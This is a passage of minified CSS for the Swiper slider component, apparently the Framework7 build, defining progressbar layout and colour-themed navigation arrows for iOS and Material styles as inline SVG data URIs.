top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.ios .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.ios .swiper-button-prev,.ios .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-button-next,.ios .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-pagination-bullet-active{background:#007aff}.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-red .swiper-button-prev,.ios .color-theme-red .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-red,.ios .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .swiper-button-next,.ios .color-theme-red .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-red,.ios .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-red .swiper-pagination-bullet-active,.ios .color-theme-red .swiper-pagination-bullet-active{background:#ff3b30}.ios .color-red .swiper-pagination-progressbar,.ios .color-red.swiper-pagination-progressbar,.ios .color-theme-red .swiper-pagination-progressbar,.ios .color-theme-red.swiper-pagination-progressbar{background:rgba(255,59,48,.25)}.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff3b30}.ios .color-theme-green .swiper-button-prev,.ios .color-theme-green .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-green,.ios .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .swiper-button-next,.ios .color-theme-green .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-green,.ios .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-green .swiper-pagination-bullet-active,.ios .color-theme-green .swiper-pagination-bullet-active{background:#4cd964}.ios .color-green .swiper-pagination-progressbar,.ios .color-green.swiper-pagination-progressbar,.ios .color-theme-green .swiper-pagination-progressbar,.ios .color-theme-green.swiper-pagination-progressbar{background:rgba(76,217,100,.25)}.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4cd964}.ios .color-theme-blue .swiper-button-prev,.ios .color-theme-blue .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-blue,.ios .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .swiper-button-next,.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-blue,.ios .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-blue .swiper-pagination-bullet-active,.ios .color-theme-blue .swiper-pagination-bullet-active{background:#007aff}.ios .color-blue .swiper-pagination-progressbar,.ios .color-blue.swiper-pagination-progressbar,.ios .color-theme-blue .swiper-pagination-progressbar,.ios .color-theme-blue.swiper-pagination-progressbar{background:rgba(0,122,255,.25)}.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-pink .swiper-button-prev,.ios .color-theme-pink .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-pink,.ios .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .swiper-button-next,.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-pink,.ios .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-pink .swiper-pagination-bullet-active,.ios .color-theme-pink .swiper-pagination-bullet-active{background:#ff2d55}.ios .color-pink .swiper-pagination-progressbar,.ios .color-pink.swiper-pagination-progressbar,.ios .color-theme-pink .swiper-pagination-progressbar,.ios .color-theme-pink.swiper-pagination-progressbar{background:rgba(255,45,85,.25)}.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff2d55}.ios .color-theme-yellow .swiper-button-prev,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-yellow,.ios .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-button-next,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-yellow,.ios .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-pagination-bullet-active,.ios .color-yellow .swiper-pagination-bullet-active{background:#fc0}.ios .color-theme-yellow .swiper-pagination-progressbar,.ios .color-theme-yellow.swiper-pagination-progressbar,.ios .color-yellow .swiper-pagination-progressbar,.ios .color-yellow.swiper-pagination-progressbar{background:rgba(255,204,0,.25)}.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fc0}.ios .color-theme-orange .swiper-button-prev,.ios .color-theme-orange .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-orange,.ios .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .swiper-button-next,.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-orange,.ios .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-orange .swiper-pagination-bullet-active,.ios .color-theme-orange .swiper-pagination-bullet-active{background:#ff9500}.ios .color-orange .swiper-pagination-progressbar,.ios .color-orange.swiper-pagination-progressbar,.ios .color-theme-orange .swiper-pagination-progressbar,.ios .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,149,0,.25)}.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9500}.ios .color-theme-gray .swiper-button-prev,.ios .color-theme-gray .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-gray,.ios .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .swiper-button-next,.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-gray,.ios .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-gray .swiper-pagination-bullet-active,.ios .color-theme-gray .swiper-pagination-bullet-active{background:#8e8e93}.ios .color-gray .swiper-pagination-progressbar,.ios .color-gray.swiper-pagination-progressbar,.ios .color-theme-gray .swiper-pagination-progressbar,.ios .color-theme-gray.swiper-pagination-progressbar{background:rgba(142,142,147,.25)}.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#8e8e93}.ios .color-theme-white .swiper-button-prev,.ios .color-theme-white .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-white,.ios .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-button-next,.ios .color-theme-white .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-white,.ios .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-pagination-bullet-active,.ios .color-white .swiper-pagination-bullet-active{background:#fff}.ios .color-theme-white .swiper-pagination-progressbar,.ios .color-theme-white.swiper-pagination-progressbar,.ios .color-white .swiper-pagination-progressbar,.ios .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.ios .color-theme-black .swiper-button-prev,.ios .color-theme-black .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-black,.ios .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .swiper-button-next,.ios .color-theme-black .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-black,.ios .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-black .swiper-pagination-bullet-active,.ios .color-theme-black .swiper-pagination-bullet-active{background:#000}.ios .color-black .swiper-pagination-progressbar,.ios .color-black.swiper-pagination-progressbar,.ios .color-theme-black .swiper-pagination-progressbar,.ios .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.md .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.md .swiper-button-prev,.md .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-button-next,.md .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-pagination-bullet-active{background:#2196f3}.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-red .swiper-button-prev,.md .color-theme-red .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-red,.md .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-red .swiper-button-next,.md .color-theme-red .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-red,.md .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-red .swiper-pagination-bullet-active,.md .color-theme-red .swiper-pagination-bullet-active{background:#f44336}.md .color-red .swiper-pagination-progressbar,.md .color-red.swiper-pagination-progressbar,.md .color-theme-red .swiper-pagination-progressbar,.md .color-theme-red.swiper-pagination-progressbar{background:rgba(244,67,54,.25)}.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#f44336}.md .color-theme-green .swiper-button-prev,.md .color-theme-green .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-green,.md .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-green .swiper-button-next,.md .color-theme-green .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-green,.md .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-green .swiper-pagination-bullet-active,.md .color-theme-green .swiper-pagination-bullet-active{background:#4caf50}.md .color-green .swiper-pagination-progressbar,.md .color-green.swiper-pagination-progressbar,.md .color-theme-green .swiper-pagination-progressbar,.md .color-theme-green.swiper-pagination-progressbar{background:rgba(76,175,80,.25)}.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4caf50}.md .color-theme-blue .swiper-button-prev,.md .color-theme-blue .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-blue,.md .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-blue .swiper-button-next,.md .color-theme-blue .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-blue,.md .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-blue .swiper-pagination-bullet-active,.md .color-theme-blue .swiper-pagination-bullet-active{background:#2196f3}.md .color-blue .swiper-pagination-progressbar,.md .color-blue.swiper-pagination-progressbar,.md .color-theme-blue .swiper-pagination-progressbar,.md .color-theme-blue.swiper-pagination-progressbar{background:rgba(33,150,243,.25)}.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-pink .swiper-button-prev,.md .color-theme-pink .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-pink,.md .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-pink .swiper-button-next,.md .color-theme-pink .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-pink,.md .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-pink .swiper-pagination-bullet-active,.md .color-theme-pink .swiper-pagination-bullet-active{background:#e91e63}.md .color-pink .swiper-pagination-progressbar,.md .color-pink.swiper-pagination-progressbar,.md .color-theme-pink .swiper-pagination-progressbar,.md .color-theme-pink.swiper-pagination-progressbar{background:rgba(233,30,99,.25)}.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#e91e63}.md .color-theme-yellow .swiper-button-prev,.md .color-theme-yellow .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-yellow,.md .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-button-next,.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-yellow,.md .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-pagination-bullet-active,.md .color-yellow .swiper-pagination-bullet-active{background:#ffeb3b}.md .color-theme-yellow .swiper-pagination-progressbar,.md .color-theme-yellow.swiper-pagination-progressbar,.md .color-yellow .swiper-pagination-progressbar,.md .color-yellow.swiper-pagination-progressbar{background:rgba(255,235,59,.25)}.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ffeb3b}.md .color-theme-orange .swiper-button-prev,.md .color-theme-orange .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-orange,.md .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-orange .swiper-button-next,.md .color-theme-orange .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-orange,.md .swiper-container-rtl 